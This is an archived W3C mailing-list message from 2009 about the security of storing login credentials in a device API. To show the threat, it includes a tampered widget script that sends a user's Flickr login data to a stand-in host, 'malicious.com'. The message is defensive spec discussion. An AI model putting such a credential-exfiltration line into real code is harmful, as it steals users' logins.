W3C home > Mailing lists > Public > public-device-apis@w3.org > October 2009

Re: ISSUE-11: Gathering requirements [FileSystem API]

From: Peter-Paul Koch <pp.koch@gmail.com>
Date: Thu, 15 Oct 2009 13:49:47 +0200
Message-ID: <21e4a1280910150449i3344e31eue21dbbc4fb4a925f@mail.gmail.com>
To: Robin Berjon <robin@robineko.com>
Cc: "Nilsson, Claes1" <Claes1.Nilsson@sonyericsson.com>, "public-device-apis@w3.org" <public-device-apis@w3.org>
>> As I state above the main use case I am thinking of is storing credentials
>> for application authentication to a server.
>
> I'm concerned that you guys are just talking past one another. Can you maybe
> provide a piece of code that exemplifies what you have in mind (with made-up
> names and all)? That would make it easier for people to point out what they
> disagree with, how they'd break it (or not), etc.

Yes, you're probably right we're talking past one another.

I have only two points to make:

1) Signing will not solve the security issue. As long as we all agree
on that, I'm happy.
2) Any way of storing login data MUST NOT be dependent on JavaScript;
that is, the data must not be read out by a script. That could
constitute a security problem. As long as there's another mechanism
for setting and getting login data, I'm happy.

To illustrate the second point: suppose a widget contains a login
script for Flickr:

var login = device.getLoginData('Flickr');
sendRequest('flickr.com/signin',login);

Now the app is logged into Flickr.

The problem is that anyone could open the widget, add a line, re-zip
the widget, and distribute it. Now it reads:

var login = device.getLoginData('Flickr');
sendRequest('malicious.com/gatherLoginsForEvilPurposes',login);
sendRequest('flickr.com/signin',login);

We must prevent the login data from being retrieved in this second
case. That prevention should be a layer deeper than JavaScript. As far
as I understand there might be a way of signing a widget and then make
sure this signing is broken when somebody else opens it. If the widget
is not signed, the device.getLoginData call fails.

I know next to nothing about signing, so I'm just repeating what I
heard. I'd like to know if such signing would constitute adequate
protection.

An even more insidious way of doing the same would become possible if
the widget donwloads a remote script from the Internet. That script
could change the original, harmless login function to the second,
malicious version. Worse: it wouldn't break the signing because the
widget itself would not be changed (if I understand signing
correctly).

The original author might be malicious himself, and change the remote
script once the widget has passed the signing process. But even if
he's completely honest and trustworthy, a malicious entity could, for
instance, mess with the DNS records somewhere so that the widget does
not download the harmless remote script from the true server, but a
malicious remote script from a completely different server.

It's this kind of scenario that I'm worried about.

Hope this helps,
Received on Thursday, 15 October 2009 11:50:23 UTC

This archive was generated by hypermail 2.3.1 : Monday, 23 October 2017 14:53:39 UTC